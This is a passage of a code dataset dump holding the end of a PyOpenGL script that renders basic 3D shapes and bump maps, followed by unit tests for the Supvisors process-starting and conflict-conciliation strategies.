-0.5,-0.5, -0.5)\n\tglVertex3f( 0.5,-0.5, -0.5)\n\tglVertex3f( 0.5,-0.5, 0.5)\n\n\n\tglVertex3f( -0.5,-0.5, -0.5)\n\tglVertex3f( -0.5,-0.5, 0.5)\n\tglVertex3f( 0.5,-0.5, 0.5)\n\n\t# top XZ face \n\tglColor3f(1.0,0.35,0.0) #Orange\n\n\tglVertex3f( -0.5,0.5, -0.5)\n\tglVertex3f( 0.5,0.5, -0.5)\n\tglVertex3f( 0.5,0.5, 0.5)\n\n\tglVertex3f( -0.5,0.5, -0.5)\n\tglVertex3f( -0.5,0.5, 0.5)\n\tglVertex3f( 0.5,0.5, 0.5)\n\n\t# left YZ face \n\tglColor3f(0.0,0.6,0.28) #Green\n\n\tglVertex3f( -0.5,-0.5, -0.5)\n\tglVertex3f( -0.5,0.5, -0.5)\n\tglVertex3f( -0.5,0.5, 0.5)\n\n\tglVertex3f( -0.5,-0.5, -0.5)\n\tglVertex3f( -0.5,-0.5, 0.5)\n\tglVertex3f( -0.5,0.5, 0.5)\n\n\t# right YZ face \n\tglColor3f(0.0,0.27,0.68) #Blue\n\n\tglVertex3f( 0.5,-0.5, -0.5)\n\tglVertex3f( 0.5,0.5, -0.5)\n\tglVertex3f( 0.5,0.5, 0.5)\n\n\tglVertex3f( 0.5,-0.5, -0.5)\n\tglVertex3f( 0.5,-0.5, 0.5)\n\tglVertex3f( 0.5,0.5, 0.5)\n\n\t# back XY face\n\tglColor3f(1.0,1.0,1.0) #White\n\n\tglVertex3f( -0.5,-0.5, -0.5)\n\tglVertex3f( 0.5,-0.5, -0.5)\n\tglVertex3f( 0.5,0.5, -0.5)\n\n\tglVertex3f( -0.5,-0.5, -0.5)\n\tglVertex3f( -0.5,0.5, -0.5)\n\tglVertex3f( 0.5,0.5, -0.5)\n\n\t# front XY face\n\tglColor3f(1.0,0.84,0.0) #Yellow\n\n\tglVertex3f( -0.5,-0.5, 0.5)\n\tglVertex3f( 0.5,-0.5, 0.5)\n\tglVertex3f( 0.5,0.5, 0.5)\n\n\tglVertex3f( -0.5,-0.5, 0.5)\n\tglVertex3f( -0.5,0.5, 0.5)\n\tglVertex3f( 0.5,0.5, 0.5)\n\n\tglEnd()\n\ndef drawCyclinder(): #press 2\n\t\n\t# Draw all the triangular facets.\n\tglBegin(GL_TRIANGLES)\n\n\tfor i in range(0,smoothness):\n\n\t\t#two triangles for segment of cylindr side\n\t\tglColor3f(math.sin(i*degToRad),0.1,1 - math.cos(i*degToRad))\n\t\tglVertex3f(math.sin(i*degToRad),-1.0, math.cos(i*degToRad))\n\n\t\tglColor3f(math.sin(i*degToRad),0.9,1 - math.cos(i*degToRad))\n\t\tglVertex3f(math.sin(i*degToRad),1.0, math.cos(i*degToRad))\n\n\t\tglColor3f(math.sin((i+1)*degToRad),0.9,1 - math.cos((i+1)*degToRad))\n\t\tglVertex3f(math.sin((i+1)*degToRad),1.0, math.cos((i+1)*degToRad))\n\n\n\t\tglColor3f(math.sin(i*degToRad),0.1,1 - math.cos(i*degToRad))\n\t\tglVertex3f(math.sin(i*degToRad),-1.0, math.cos(i*degToRad))\n\n\t\tglColor3f(math.sin((i+1)*degToRad),0.1,1 - math.cos((i+1)*degToRad))\n\t\tglVertex3f(math.sin((i+1)*degToRad),-1.0, math.cos((i+1)*degToRad))\n\n\t\tglColor3f(math.sin((i+1)*degToRad),0.9,1 - math.cos((i+1)*degToRad))\n\t\tglVertex3f(math.sin((i+1)*degToRad),1.0, math.cos((i+1)*degToRad))\n\n\t\t#bottom triangle\n\t\tglColor3f(math.sin(i*degToRad),0.1,1 - math.cos(i*degToRad))\n\t\tglVertex3f(math.sin(i*degToRad),-1.0, math.cos(i*degToRad))\n\n\t\tglColor3f(math.sin((i+1)*degToRad),0.1,1 - math.cos((i+1)*degToRad))\n\t\tglVertex3f(math.sin((i+1)*degToRad),-1.0, math.cos((i+1)*degToRad))\n\n\t\tglColor3f(0.0,0.0,0.0)\n\t\tglVertex3f(0,-1.0, 0)\n\n\t\t#top triangle\n\t\tglColor3f(math.sin(i*degToRad),0.9,1 - math.cos(i*degToRad))\n\t\tglVertex3f(math.sin(i*degToRad),1.0, math.cos(i*degToRad))\n\n\t\tglColor3f(math.sin((i+1)*degToRad),0.9,1 - math.cos((i+1)*degToRad))\n\t\tglVertex3f(math.sin((i+1)*degToRad),1.0, math.cos((i+1)*degToRad))\n\n\t\tglColor3f(1.0,1.0,1.0)\n\t\tglVertex3f(0,1.0, 0)\n\n\tglEnd()\n\ndef drawSphere(): #press 3\n\n\t# Draw all the triangular facets.\n\tglBegin(GL_TRIANGLES)\n\n\tfor i in range(0,smoothness):\n\t\tfor j in range(0,smoothness):\n\t\t\t#two triangles for segment of sphere\n\t\t\tglColor3f(math.sin(i*degToRad),-math.cos(0.5*j*degToRad),math.cos(i*degToRad))\n\t\t\tglVertex3f(math.sin(0.5*j*degToRad)*math.sin(i*degToRad),-math.cos(0.5*j*degToRad), math.sin(0.5*j*degToRad)*math.cos(i*degToRad))\n\n\t\t\tglColor3f(math.sin(i*degToRad),-math.cos(0.5*(j+1)*degToRad),math.cos(i*degToRad))\n\t\t\tglVertex3f(math.sin(0.5*(j+1)*degToRad)*math.sin(i*degToRad),-math.cos(0.5*(j+1)*degToRad), math.sin(0.5*(j+1)*degToRad)*math.cos(i*degToRad))\n\n\t\t\tglColor3f(math.sin((i+1)*degToRad),-math.cos(0.5*(j+1)*degToRad),math.cos((i+1)*degToRad))\n\t\t\tglVertex3f(math.sin(0.5*(j+1)*degToRad)*math.sin((i+1)*degToRad),-math.cos(0.5*(j+1)*degToRad), math.sin(0.5*(j+1)*degToRad)*math.cos((i+1)*degToRad))\n\n\t\t\t#--------------------------------------------------------------\n\n\t\t\tglColor3f(math.sin(i*degToRad),-math.cos(0.5*j*degToRad),math.cos(i*degToRad))\n\t\t\tglVertex3f(math.sin(0.5*j*degToRad)*math.sin(i*degToRad),-math.cos(0.5*j*degToRad), math.sin(0.5*j*degToRad)*math.cos(i*degToRad))\n\n\t\t\tglColor3f(math.sin((i+1)*degToRad),-math.cos(0.5*j*degToRad),math.cos((i+1)*degToRad))\n\t\t\tglVertex3f(math.sin(0.5*j*degToRad)*math.sin((i+1)*degToRad),-math.cos(0.5*j*degToRad), math.sin(0.5*j*degToRad)*math.cos((i+1)*degToRad))\n\n\t\t\tglColor3f(math.sin((i+1)*degToRad),-math.cos(0.5*(j+1)*degToRad),math.cos((i+1)*degToRad))\n\t\t\tglVertex3f(math.sin(0.5*(j+1)*degToRad)*math.sin((i+1)*degToRad),-math.cos(0.5*(j+1)*degToRad), math.sin(0.5*(j+1)*degToRad)*math.cos((i+1)*degToRad))\n\n\tglEnd()\n\ndef drawTorus(): #press 4\n\n\n\t# Draw all the triangular facets.\n\tglBegin(GL_TRIANGLES)\n\t\n\tfor i in range(0,smoothness):\n\t\tfor j in range(0,smoothness):\n\t\t\t#two triangles for segment of sphere\n\t\t\tglColor3f(math.sin(i*degToRad),-math.cos(j*degToRad),math.cos(i*degToRad))\n\t\t\tglVertex3f((oR + iR*math.sin(j*degToRad))*math.sin(i*degToRad),iR*math.cos(j*degToRad), (oR + iR*math.sin(j*degToRad))*math.cos(i*degToRad))\n\n\t\t\tglColor3f(math.sin(i*degToRad),-math.cos((j+1)*degToRad),math.cos(i*degToRad))\n\t\t\tglVertex3f((oR + iR*math.sin((j+1)*degToRad))*math.sin(i*degToRad),iR*math.cos((j+1)*degToRad),(oR + iR*math.sin((j+1)*degToRad))*math.cos(i*degToRad))\n\n\t\t\tglColor3f(math.sin((i+1)*degToRad),-math.cos((j+1)*degToRad),math.cos((i+1)*degToRad))\n\t\t\tglVertex3f((oR + iR*math.sin((j+1)*degToRad))*math.sin((i+1)*degToRad),iR*math.cos((j+1)*degToRad), (oR + iR*math.sin((j+1)*degToRad))*math.cos((i+1)*degToRad))\n\n\t\t\t#--------------------------------------------------------------\n\n\t\t\tglColor3f(math.sin(i*degToRad),-math.cos(j*degToRad),math.cos(i*degToRad))\n\t\t\tglVertex3f((oR + iR*math.sin(j*degToRad))*math.sin(i*degToRad),iR*math.cos(j*degToRad),(oR + iR*math.sin(j*degToRad))*math.cos(i*degToRad))\n\n\t\t\tglColor3f(math.sin((i+1)*degToRad),-math.cos(j*degToRad),math.cos((i+1)*degToRad))\n\t\t\tglVertex3f((oR + iR*math.sin(j*degToRad))*math.sin((i+1)*degToRad),iR*math.cos(j*degToRad), (oR + iR*math.sin(j*degToRad))*math.cos((i+1)*degToRad))\n\n\t\t\tglColor3f(math.sin((i+1)*degToRad),-math.cos((j+1)*degToRad),math.cos((i+1)*degToRad))\n\t\t\tglVertex3f((oR + iR*math.sin((j+1)*degToRad))*math.sin((i+1)*degToRad),iR*math.cos((j+1)*degToRad),(oR + iR*math.sin((j+1)*degToRad))*math.cos((i+1)*degToRad)) \n\n\n\tglEnd()\n\ndef drawBumpMap(): #press 5\n\n\t# Draw all the triangular facets.\n\tglBegin(GL_TRIANGLES)\n\n\t#Fill terrain\n\tfor x in range(1,im.size[0]-1):\n\t\tfor y in range(1,im.size[1]-1):\n\n\t\t\t#luminance equations allow for interpretation of color pictures as bump maps! https://en.wikipedia.org/wiki/Relative_luminance\n\t\t\tr,g,b = imRGB.getpixel((x,y))\n\t\t\tr,g,b = r/255,g/255,b/255\n\t\t\tcurrentPix = 0.2126*r + 0.7152*g+ 0.0722*b\n\t\t\tr,g,b = imRGB.getpixel((x+1,y))\n\t\t\tr,g,b = r/255,g/255,b/255\n\t\t\tcurrentXPix = 0.2126*r + 0.7152*g+ 0.0722*b\n\t\t\tr,g,b = imRGB.getpixel((x,y+1))\n\t\t\tr,g,b = r/255,g/255,b/255\n\t\t\tcurrentYPix = 0.2126*r + 0.7152*g+ 0.0722*b\n\t\t\tr,g,b = imRGB.getpixel((x+1,y+1))\n\t\t\tr,g,b = r/255,g/255,b/255\n\t\t\tcurrentXYPix = 0.2126*r + 0.7152*g+ 0.0722*b\n\n\n\n\n\t\t\tglColor3f(x/im.size[0],currentPix,y/im.size[1])\n\t\t\tglVertex3f( -1.0 + xSize*x, currentPix*bumpH, -1.0 + ySize*y)\n\n\t\t\tglColor3f(x/im.size[0],currentXPix,y/im.size[1])\n\t\t\tglVertex3f( -1.0 + xSize*(x+1), currentXPix*bumpH, -1.0 + ySize*y)\n\n\t\t\tglColor3f((x+1)/im.size[0],currentXYPix,(y+1)/im.size[1])\n\t\t\tglVertex3f( -1.0 + xSize*(x+1), currentXYPix*bumpH, -1.0 + ySize*(y+1))\n\n\n\n\t\t\tglColor3f(x/im.size[0],currentPix,y/im.size[1])\n\t\t\tglVertex3f( -1.0 + xSize*x, currentPix*bumpH, -1.0 + ySize*y)\n\n\t\t\tglColor3f((x+1)/im.size[0],currentYPix,(y+1)/im.size[1])\n\t\t\tglVertex3f( -1.0 + xSize*x, currentYPix*bumpH, -1.0 + ySize*(y+1))\n\n\t\t\tglColor3f((x+1)/im.size[0],currentXYPix,(y+1)/im.size[1])\n\t\t\tglVertex3f( -1.0 + xSize*(x+1), currentXYPix*bumpH, -1.0 + ySize*(y+1))\n\n\n\tglEnd()\n\t\n\ndef drawObject():\n\t\n\t#ensure refernce to show_which\n\tglobal show_which\n\n\tif show_which == 0:\n\t\tdrawTetra()\n\telif show_which ==1:\n\t\tdrawCube()\n\telif show_which ==2:\n\t\tdrawCyclinder()\n\telif show_which ==3:\n\t\tdrawSphere()\n\telif show_which ==4:\n\t\tdrawTorus()\n\telif show_which ==5:\n\t\tdrawBumpMap()\n\n\ndef drawScene():\n\t\"\"\" Issue GL calls to draw the scene. \"\"\"\n\n\t# Clear the rendering information.\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n\t# Clear the transformation stack.\n\tglMatrixMode(GL_MODELVIEW)\n\tglLoadIdentity()\n\n\t# Transform the objects drawn below by a rotation.\n\tglRotatef(rotation1*180.0/pi,1.0,0.0,0.0)\n\tglRotatef(rotation2*180.0/pi,0.0,1.0,0.0)\n\n\t# Draw a floating \"pixel.\"\n\tglColor(1.0,1.0,1.0)\n\tglPointSize(20)\n\t#\n\tglBegin(GL_POINTS)\n\tglVertex3f(0.0,0.0,2.0)\n\tglEnd()\n\n\t# Draw the object.\n\tdrawObject()\n\n\t# Render the scene.\n\tglFlush()\n\n\ndef myKeyFunc(key, x, y):\n\t\"\"\" Handle a \"normal\" keypress. \"\"\"\n\n\t#ensure refernce to smoothness,degToRad & show_which\n\tglobal smoothness\n\tglobal show_which\n\tglobal degToRad\n\tglobal bumpH\n\tglobal im\n\tglobal imRGB \n\tglobal xSize \n\tglobal ySize\n\n\t# Handle the SPACE bar.\n\tif key == b' ':\n\t\tim = Image.open(input(\"Enter a picture file (>256x256 very slow!) like 'brick.jpg' [wrong names will cause a crash]:\"))\n\t\timRGB = im.convert('RGB')\n\t\txSize = 2/im.size[0]\n\t\tySize = 2/im.size[1]\n\t\tglutPostRedisplay()\n\n\t# Handle the '-' key.\n\tif key == b'\\055':\n\t\tsmoothness -= 1\n\t\tif(smoothness < 1):\n\t\t\tsmoothness = 1\n\t\tdegToRad = (2*math.pi/smoothness)\n\t\t# Redraw.\n\t\tglutPostRedisplay()\n\n\t# Handle the '+' key.\n\tif key == b'\\053':\n\t\tsmoothness += 1\n\t\t# Redraw.\n\t\tdegToRad = (2*math.pi/smoothness)\n\t\tglutPostRedisplay()\n\n\t#handles keys for increasing and decreaing bump height\n\tif key == b'w':\n\t\tbumpH += 0.05\n\t\tglutPostRedisplay()\n\tif key == b's':\n\t\tbumpH -= 0.05\n\t\tif(smoothness < 0.05):\n\t\t\tsmoothness = 0.05\n\t\tglutPostRedisplay()\n\n\n\t# Handle ESC key.\n\tif key == b'\\033':\t\n\t# \"\\033\" is the Escape key\n\t\tsys.exit(1)\n\n\t#handles number keys to show different surfaces\n\tif key == b'\\060':\n\t\tshow_which = 0\n\t\tglutPostRedisplay()\n\tif key == b'\\061':\n\t\tshow_which = 1\n\t\tglutPostRedisplay()\n\tif key == b'\\062':\n\t\tshow_which = 2\n\t\tglutPostRedisplay()\n\tif key == b'\\063':\n\t\tshow_which = 3\n\t\tglutPostRedisplay()\n\tif key == b'\\064':\n\t\tshow_which = 4\n\t\tglutPostRedisplay()\n\tif key == b'\\065':\n\t\tshow_which = 5\n\t\tglutPostRedisplay()\n\ndef myArrowFunc(key, x, y):\n\t\"\"\" Handle a \"special\" keypress. \"\"\"\n\tglobal rotation1\n\tglobal rotation2\n\n\t# Apply an adjustment to the overall rotation.\n\tif key == GLUT_KEY_UP:\n\t\trotation1 -= pi/12.0\n\tif key == GLUT_KEY_DOWN:\n\t\trotation1 += pi/12.0\n\tif key == GLUT_KEY_RIGHT:\n\t\trotation2 += pi/12.0\n\tif key == GLUT_KEY_LEFT:\n\t\trotation2 -= pi/12.0\n\n\t# Redraw.\n\tglutPostRedisplay()\n\n\ndef initRendering():\n\t\"\"\" Initialize aspects of the GL scene rendering. \"\"\"\n\tglEnable (GL_DEPTH_TEST)\n\n\ndef resizeWindow(w, h):\n\t\"\"\" Register a window resize by changing the viewport. \"\"\"\n\tglViewport(0, 0, w, h)\n\tglMatrixMode(GL_PROJECTION)\n\tglLoadIdentity()\n\tif w > h:\n\t\tglOrtho(-w/h*2.0, w/h*2.0, -2.0, 2.0, -2.0, 2.0)\n\telse:\n\t\tglOrtho(-2.0, 2.0, -h/w * 2.0, h/w * 2.0, -2.0, 2.0)\n\n\ndef main(argc, argv):\n\t\"\"\" The main procedure, sets up GL and GLUT. \"\"\"\n\n\tglutInit(argv)\n\tglutInitDisplayMode(GLUT_SINGLE | GLUT_RGB | GLUT_DEPTH)\n\tglutInitWindowPosition(0, 20)\n\tglutInitWindowSize(360, 360)\n\tglutCreateWindow( b'object showcase - Press ESC to quit' )\n\tinitRendering()\n\n\t# Register interaction callbacks.\n\tglutKeyboardFunc(myKeyFunc)\n\tglutSpecialFunc(myArrowFunc)\n\tglutReshapeFunc(resizeWindow)\n\tglutDisplayFunc(drawScene)\n\n\tprint()\n\tprint('Press the arrow keys to rotate the object.')\n\tprint('Press ESC to quit.')\n\tprint('Press space to enter a new image file')\n\tprint('Press + or - to increase/decrease smoothness')\n\tprint('Press w or s to increase/decrease height of bump maps!')\n\n\tprint('0 = tetrahedron ; 1 = cube ; 2 = cylinder ; 3 = sphere ; 4 = torus ; 5 = bump map \\n')\n\n\tglutMainLoop()\n\n\treturn 0\n\nif __name__ == '__main__': main(len(sys.argv),sys.argv)\n","sub_path":"showV1/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":13890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"341612136","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\n# ======================================================================\n# Copyright 2016 Julien LE CLEACH\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ======================================================================\n\nimport sys\nimport unittest\n\nfrom mock import Mock, call, patch\n\nfrom supvisors.tests.base import MockedSupvisors\n\n\nclass StartingStrategyTest(unittest.TestCase):\n \"\"\" Test case for the starting strategies of the strategy module. \"\"\"\n\n def setUp(self):\n \"\"\" Create a Supvisors-like structure and addresses. \"\"\"\n self.supvisors = MockedSupvisors()\n # add addresses to context\n from supvisors.address import AddressStatus\n from supvisors.ttypes import AddressStates\n def create_status(name, address_state, loading):\n address_status = Mock(spec=AddressStatus, address_name=name,\n state=address_state)\n address_status.loading.return_value = loading\n return address_status\n addresses = self.supvisors.context.addresses\n addresses['10.0.0.0'] = create_status('10.0.0.0', AddressStates.SILENT, 0)\n addresses['10.0.0.1'] = create_status('10.0.0.1', AddressStates.RUNNING, 50)\n addresses['10.0.0.2'] = create_status('10.0.0.2', AddressStates.ISOLATED, 0)\n addresses['10.0.0.3'] = create_status('10.0.0.3', AddressStates.RUNNING, 20)\n addresses['10.0.0.4'] = create_status('10.0.0.4', AddressStates.UNKNOWN, 0)\n addresses['10.0.0.5'] = create_status('10.0.0.5', AddressStates.RUNNING, 80)\n # initialize dummy address mapper with all address names (keep the alpha order)\n self.supvisors.address_mapper.addresses = sorted(addresses.keys())\n\n def test_is_loading_valid(self):\n \"\"\" Test the validity of an address with an additional loading. \"\"\"\n from supvisors.strategy import AbstractStartingStrategy\n strategy = AbstractStartingStrategy(self.supvisors)\n # test unknown address\n self.assertTupleEqual((False, 0), strategy.is_loading_valid('10.0.0.10', 1))\n # test not RUNNING address\n self.assertTupleEqual((False, 0), strategy.is_loading_valid('10.0.0.0', 1))\n self.assertTupleEqual((False, 0), strategy.is_loading_valid('10.0.0.2', 1))\n self.assertTupleEqual((False, 0), strategy.is_loading_valid('10.0.0.4', 1))\n # test loaded RUNNING address\n self.assertTupleEqual((False, 50), strategy.is_loading_valid('10.0.0.1', 55))\n self.assertTupleEqual((False, 20), strategy.is_loading_valid('10.0.0.3', 85))\n self.assertTupleEqual((False, 80), strategy.is_loading_valid('10.0.0.5', 25))\n # test not loaded RUNNING address\n self.assertTupleEqual((True, 50), strategy.is_loading_valid('10.0.0.1', 45))\n self.assertTupleEqual((True, 20), strategy.is_loading_valid('10.0.0.3', 75))\n self.assertTupleEqual((True, 80), strategy.is_loading_valid('10.0.0.5', 15))\n\n def test_get_loading_and_validity(self):\n \"\"\" Test the determination of the valid addresses with an additional loading. \"\"\"\n from supvisors.strategy import AbstractStartingStrategy\n strategy = AbstractStartingStrategy(self.supvisors)\n # test valid addresses with different additional loadings\n self.assertDictEqual({'10.0.0.0': (False, 0), '10.0.0.1': (True, 50),\n '10.0.0.2': (False, 0), '10.0.0.3': (True, 20), '10.0.0.4': (False, 0),\n '10.0.0.5': (True, 80)},\n strategy.get_loading_and_validity('*', 15))\n self.assertDictEqual({'10.0.0.0': (False, 0), '10.0.0.1': (True, 50),\n '10.0.0.2': (False, 0), '10.0.0.3': (True, 20), '10.0.0.4': (False, 0),\n '10.0.0.5': (False, 80)},\n strategy.get_loading_and_validity(self.supvisors.context.addresses.keys(), 45))\n self.assertDictEqual({'10.0.0.1': (False, 50), '10.0.0.3': (True, 20),\n '10.0.0.5': (False, 80)},\n strategy.get_loading_and_validity(['10.0.0.1', '10.0.0.3', '10.0.0.5'], 75))\n self.assertDictEqual({'10.0.0.1': (False, 50), '10.0.0.3': (False, 20),\n '10.0.0.5': (False, 80)},\n strategy.get_loading_and_validity(['10.0.0.1', '10.0.0.3', '10.0.0.5'], 85))\n\n def test_sort_valid_by_loading(self):\n \"\"\" Test the sorting of the validities of the addresses. \"\"\"\n from supvisors.strategy import AbstractStartingStrategy\n strategy = AbstractStartingStrategy(self.supvisors)\n self.assertListEqual([('10.0.0.3', 20), ('10.0.0.1', 50), ('10.0.0.5', 80)],\n strategy.sort_valid_by_loading({'10.0.0.0': (False, 0), '10.0.0.1': (True, 50),\n '10.0.0.2': (False, 0), '10.0.0.3': (True, 20), '10.0.0.4': (False, 0),\n '10.0.0.5': (True, 80)}))\n self.assertListEqual([('10.0.0.3', 20)],\n strategy.sort_valid_by_loading({'10.0.0.1': (False, 50), '10.0.0.3': (True, 20),\n '10.0.0.5': (False, 80)}))\n self.assertListEqual([],\n strategy.sort_valid_by_loading({'10.0.0.1': (False, 50), '10.0.0.3': (False, 20),\n '10.0.0.5': (False, 80)}))\n\n def test_config_strategy(self):\n \"\"\" Test the choice of an address according to the CONFIG strategy. \"\"\"\n from supvisors.strategy import ConfigStrategy\n strategy = ConfigStrategy(self.supvisors)\n # test CONFIG strategy with different values\n self.assertEqual('10.0.0.1', strategy.get_address('*', 15))\n self.assertEqual('10.0.0.1', strategy.get_address('*', 45))\n self.assertEqual('10.0.0.3', strategy.get_address('*', 75))\n self.assertIsNone(strategy.get_address('*', 85))\n\n def test_less_loaded_strategy(self):\n \"\"\" Test the choice of an address according to the LESS_LOADED strategy. \"\"\"\n from supvisors.strategy import LessLoadedStrategy\n strategy = LessLoadedStrategy(self.supvisors)\n # test LESS_LOADED strategy with different values\n self.assertEqual('10.0.0.3', strategy.get_address('*', 15))\n self.assertEqual('10.0.0.3', strategy.get_address('*', 45))\n self.assertEqual('10.0.0.3', strategy.get_address('*', 75))\n self.assertIsNone(strategy.get_address('*', 85))\n\n def test_most_loaded_strategy(self):\n \"\"\" Test the choice of an address according to the MOST_LOADED strategy. \"\"\"\n from supvisors.strategy import MostLoadedStrategy\n strategy = MostLoadedStrategy(self.supvisors)\n # test MOST_LOADED strategy with different values\n self.assertEqual('10.0.0.5', strategy.get_address('*', 15))\n self.assertEqual('10.0.0.1', strategy.get_address('*', 45))\n self.assertEqual('10.0.0.3', strategy.get_address('*', 75))\n self.assertIsNone(strategy.get_address('*', 85))\n\n def test_get_address(self):\n \"\"\" Test the choice of an address according to a strategy. \"\"\"\n from supvisors.ttypes import StartingStrategies\n from supvisors.strategy import get_address\n # test CONFIG strategy\n self.assertEqual('10.0.0.1', get_address(self.supvisors,\n StartingStrategies.CONFIG, '*', 15))\n self.assertEqual('10.0.0.3', get_address(self.supvisors,\n StartingStrategies.CONFIG, '*', 75))\n self.assertIsNone(get_address(self.supvisors,\n StartingStrategies.CONFIG, '*', 85))\n # test LESS_LOADED strategy\n self.assertEqual('10.0.0.3', get_address(self.supvisors,\n StartingStrategies.LESS_LOADED, '*', 15))\n self.assertEqual('10.0.0.3', get_address(self.supvisors,\n StartingStrategies.LESS_LOADED, '*', 75))\n self.assertIsNone(get_address(self.supvisors,\n StartingStrategies.LESS_LOADED, '*', 85))\n # test MOST_LOADED strategy\n self.assertEqual('10.0.0.5', get_address(self.supvisors,\n StartingStrategies.MOST_LOADED, '*', 15))\n self.assertEqual('10.0.0.3', get_address(self.supvisors,\n StartingStrategies.MOST_LOADED, '*', 75))\n self.assertIsNone(get_address(self.supvisors,\n StartingStrategies.MOST_LOADED, '*', 85))\n\n\nclass ConciliationStrategyTest(unittest.TestCase):\n \"\"\" Test case for the conciliation strategies of the strategy module. \"\"\"\n\n def setUp(self):\n \"\"\" Create a Supvisors-like structure and conflicting processes. \"\"\"\n from supvisors.process import ProcessStatus\n self.supvisors = MockedSupvisors()\n # create conflicting processes\n def create_process_status(name, timed_addresses):\n process_status = Mock(spec=ProcessStatus, process_name=name,\n addresses=set(timed_addresses.keys()),\n infos={address_name: {'uptime': time}\n for address_name, time in timed_addresses.items()})\n process_status.namespec.return_value = name\n return process_status\n self.conflicts = [create_process_status('conflict_1',\n {'10.0.0.1': 5, '10.0.0.2': 10, '10.0.0.3': 15}),\n create_process_status('conflict_2',\n {'10.0.0.4': 6, '10.0.0.2': 5, '10.0.0.0': 4})]\n\n def test_senicide_strategy(self):\n \"\"\" Test the strategy that consists in stopping the oldest processes. \"\"\"\n from supvisors.strategy import SenicideStrategy\n strategy = SenicideStrategy(self.supvisors)\n strategy.conciliate(self.conflicts)\n # check that the oldest processes are requested to stop on the relevant addresses\n self.assertItemsEqual([call('10.0.0.2', 'conflict_1'),\n call('10.0.0.3', 'conflict_1'),\n call('10.0.0.4', 'conflict_2'),\n call('10.0.0.2', 'conflict_2')],\n self.supvisors.zmq.pusher.send_stop_process.call_args_list)\n\n def test_infanticide_strategy(self):\n \"\"\" Test the strategy that consists in stopping the youngest processes. \"\"\"\n from supvisors.strategy import InfanticideStrategy\n strategy = InfanticideStrategy(self.supvisors)\n strategy.conciliate(self.conflicts)\n # check that the youngest processes are requested to stop on the relevant addresses\n self.assertItemsEqual([call('10.0.0.1', 'conflict_1'),\n call('10.0.0.2', 'conflict_1'),\n call('10.0.0.2', 'conflict_2'),\n call('10.0.0.0', 'conflict_2')],\n self.supvisors.zmq.pusher.send_stop_process.call_args_list)\n\n def test_user_strategy(self):\n \"\"\" Test the strategy that consists in doing nothing (trivial). \"\"\"\n from supvisors.strategy import UserStrategy\n strategy = UserStrategy(self.supvisors)\n strategy.conciliate(self.conflicts)\n # check that processes are NOT requested to stop\n self.assertEqual(0, self.supvisors.stopper.stop_process.call_count)\n self.assertEqual(0, self.supvisors.zmq.pusher.send_stop_process.call_count)\n\n def test_stop_strategy(self):\n \"\"\" Test the strategy that consists in stopping all processes. \"\"\"\n from supvisors.strategy import StopStrategy\n strategy = StopStrategy(self.supvisors)\n strategy.conciliate(self.conflicts)\n # check that all processes are requested to stop through the Stopper\n self.assertEqual(0, self.supvisors.zmq.pusher.send_stop_process.call_count)\n self.assertItemsEqual([call(self.conflicts[0]), call(self.conflicts[1])],\n self.supvisors.stopper.stop_process.call_args_list)\n\n def test_restart_strategy(self):\n \"\"\" Test the strategy that consists in stopping all processes and restart a single one. \"\"\"\n from supvisors.strategy import RestartStrategy\n # get patches\n mocked_add = self.supvisors.failure_handler.add_job\n mocked_trigger = self.supvisors.failure_handler.trigger_jobs\n # call the conciliation\n strategy = RestartStrategy(self.supvisors)\n strategy.conciliate(self.conflicts)\n # check that all processes are NOT requested to stop directly\n self.assertEqual(0, self.supvisors.stopper.stop_process.call_count)\n self.assertEqual(0, self.supvisors.zmq.pusher.send_stop_process.call_count)\n # test failure_handler call\n self.assertEqual([call(1, self.conflicts[0]), call(1, self.conflicts[1])],\n mocked_add.call_args_list)\n self.assertEqual(1, mocked_trigger.call_count)\n\n def test_failure_strategy(self):\n \"\"\" Test the strategy that consists in stopping all processes and restart a single one. \"\"\"\n from supvisors.strategy import FailureStrategy\n # get patches\n mocked_add = self.supvisors.failure_handler.add_default_job\n mocked_trigger = self.supvisors.failure_handler.trigger_jobs\n # call the conciliation\n strategy = FailureStrategy(self.supvisors)\n strategy.conciliate(self.conflicts)\n # check that all processes are requested to stop through the Stopper\n self.assertEqual(0, self.supvisors.zmq.pusher.send_stop_process.call_count)\n self.assertEqual([call(self.conflicts[0]), call(self.conflicts[1])],\n self.supvisors.stopper.stop_process.call_args_list)\n # test failure_handler call\n self.assertEqual([call(self.conflicts[0]), call(self.conflicts[1])],\n mocked_add.call_args_list)\n self.assertEqual(1, mocked_trigger.call_count)\n\n @patch('supvisors.strategy.SenicideStrategy.conciliate')\n @patch('supvisors.strategy.InfanticideStrategy.conciliate')\n @patch('supvisors.strategy.UserStrategy.conciliate')\n @patch('supvisors.strategy.StopStrategy.conciliate')\n @patch('supvisors.strategy.RestartStrategy.conciliate')\n @patch('supvisors.strategy.FailureStrategy.conciliate')\n def test_conciliate_conflicts(self, mocked_failure, mocked_restart, mocked_stop,\n mocked_user, mocked_infanticide, mocked_senicide):\n \"\"\" Test the actions on process according to a strategy. \"\"\"\n from supvisors.ttypes import ConciliationStrategies\n from supvisors.strategy import conciliate_conflicts\n # test senicide conciliation\n conciliate_conflicts(self.supvisors, ConciliationStrategies.SENICIDE,\n self.conflicts)\n self.assertEqual([call(self.conflicts)],\n mocked_senicide.call_args_list)\n self.assertEqual(0, mocked_infanticide.call_count)\n self.assertEqual(0, mocked_user.call_count)\n self.assertEqual(0, mocked_stop.call_count)\n self.assertEqual(0, mocked_restart.call_count)\n self.assertEqual(0, mocked_failure.call_count)\n mocked_senicide.reset_mock()\n # test infanticide conciliation\n conciliate_conflicts(self.supvisors, ConciliationStrategies.INFANTICIDE,\n self.conflicts)\n self.assertEqual(0, mocked_senicide.call_count)\n self.assertEqual([call(self.conflicts)],\n mocked_infanticide.call_args_list)\n self.assertEqual(0, mocked_user.call_count)\n self.assertEqual(0, mocked_stop.call_count)\n self.assertEqual(0, mocked_restart.call_count)\n self.assertEqual(0, 